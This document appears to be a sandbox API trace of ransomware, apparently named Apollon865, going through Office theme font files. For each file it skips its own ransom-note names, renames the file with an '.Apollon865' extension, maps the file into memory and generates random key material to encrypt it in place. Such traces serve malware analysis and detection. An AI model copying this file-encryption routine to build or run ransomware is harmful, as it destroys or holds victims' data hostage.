	[0073.343] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Concourse.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\concourse.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.343] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3526) returned 1
	[0073.343] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.344] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.344] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.344] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.344] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.345] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x10d0, lpName=0x0) returned 0x118
	[0073.346] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x10d0) returned 0x100000
	[0073.347] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.347] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.347] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.347] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.347] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.348] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0073.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0073.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.348] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.348] CloseHandle (hObject=0x118) returned 1
	[0073.348] CloseHandle (hObject=0x150) returned 1
	[0073.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.348] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.348] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x13f36100, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x13f36100, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xefc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Couture.xml", cAlternateFileName="")) returned 1
	[0073.348] lstrcmpiW (lpString1="Couture.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.348] lstrcmpiW (lpString1="Couture.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.349] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.Apollon865") returned 87
	[0073.349] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.350] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Couture.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\couture.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.350] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3836) returned 1
	[0073.350] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.350] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.350] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.351] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.351] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.351] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.351] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x118
	[0073.353] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000
	[0073.354] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.354] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.354] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.355] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.355] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.355] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.355] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.355] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.355] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.355] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.355] CloseHandle (hObject=0x118) returned 1
	[0073.355] CloseHandle (hObject=0x150) returned 1
	[0073.355] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.355] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.355] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.355] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x15248e00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x15248e00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe48, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Elemental.xml", cAlternateFileName="ELEMEN~1.XML")) returned 1
	[0073.356] lstrcmpiW (lpString1="Elemental.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.356] lstrcmpiW (lpString1="Elemental.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.356] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.Apollon865") returned 89
	[0073.356] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.357] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Elemental.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\elemental.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.357] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3656) returned 1
	[0073.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.357] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.357] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.358] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.358] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.358] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1150, lpName=0x0) returned 0x118
	[0073.359] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1150) returned 0x100000
	[0073.360] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.361] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.361] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.361] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0073.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0073.361] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.361] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.362] CloseHandle (hObject=0x118) returned 1
	[0073.362] CloseHandle (hObject=0x150) returned 1
	[0073.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.362] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.362] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf0301b00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf0301b00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1
	[0073.362] lstrcmpiW (lpString1="Equity.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.362] lstrcmpiW (lpString1="Equity.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.362] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.Apollon865") returned 86
	[0073.362] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Equity.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\equity.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.364] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3829) returned 1
	[0073.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.364] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.364] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.365] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.365] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.365] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1200, lpName=0x0) returned 0x118
	[0073.369] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1200) returned 0x100000
	[0073.370] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.371] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.371] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.371] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b2b10
	[0073.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2b10 | out: hHeap=0x580000) returned 1
	[0073.371] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.372] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.372] CloseHandle (hObject=0x118) returned 1
	[0073.372] CloseHandle (hObject=0x150) returned 1
	[0073.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.372] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.372] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="ESSENT~1.XML")) returned 1
	[0073.372] lstrcmpiW (lpString1="Essential.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.372] lstrcmpiW (lpString1="Essential.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.372] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.Apollon865") returned 89
	[0073.372] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.373] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Essential.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\essential.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.373] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3606) returned 1
	[0073.373] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.374] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.374] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.374] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.374] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.375] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1120, lpName=0x0) returned 0x118
	[0073.376] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1120) returned 0x100000
	[0073.377] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.377] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.377] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a998
	[0073.377] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a998 | out: hHeap=0x580000) returned 1
	[0073.377] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0073.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0073.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0073.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0073.378] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b3188
	[0073.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0073.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b3188 | out: hHeap=0x580000) returned 1
	[0073.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0073.378] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0073.378] CloseHandle (hObject=0x118) returned 1
	[0073.378] CloseHandle (hObject=0x150) returned 1
	[0073.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0073.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf898 | out: hHeap=0x580000) returned 1
	[0073.378] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3390020 | out: hHeap=0x580000) returned 1
	[0073.378] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="EXECUT~1.XML")) returned 1
	[0073.378] lstrcmpiW (lpString1="Executive.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0073.378] lstrcmpiW (lpString1="Executive.xml", lpString2="Apollon865.txt.exe") returned 1
	[0073.379] wsprintfW (in: param_1=0x2d3d2e0, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.Apollon865") returned 89
	[0073.379] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.apollon865"), dwFlags=0x1) returned 1
	[0073.379] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Document Themes 14\\Theme Fonts\\Executive.xml.Apollon865" (normalized: "c:\\program files\\microsoft office\\document themes 14\\theme fonts\\executive.xml.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x150
	[0073.380] GetFileSizeEx (in: hFile=0x150, lpFileSize=0x2d3e1e0 | out: lpFileSize=0x2d3e1e0*=3631) returned 1
	[0073.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3390020
	[0073.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0073.380] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf898
	[0073.380] CryptAcquireContextW (in: phProv=0x2d3cf9c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf9c*=0x5bf4e0) returned 1
	[0073.381] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cfb0 | out: pbBuffer=0x2d3cfb0) returned 1
	[0073.381] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
	[0073.381] CreateFileMappingW (hFile=0x150, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1130, lpName=0x0) returned 0x118
	[0073.382] MapViewOfFile (hFileMappingObject=0x118, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1130) returned 0x100000
	[0073.383] CryptAcquireContextW (in: phProv=0x2d3cf4c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x2d3cf4c*=0x5bf4e0) returned 1
	[0073.384] CryptGenRandom (in: hProv=0x5bf4e0, dwLen=0x80, pbBuffer=0x2d3cf60 | out: pbBuffer=0x2d3cf60) returned 1
	[0073.384] CryptReleaseContext (hProv=0x5bf4e0, dwFlags=0x0) returned 1
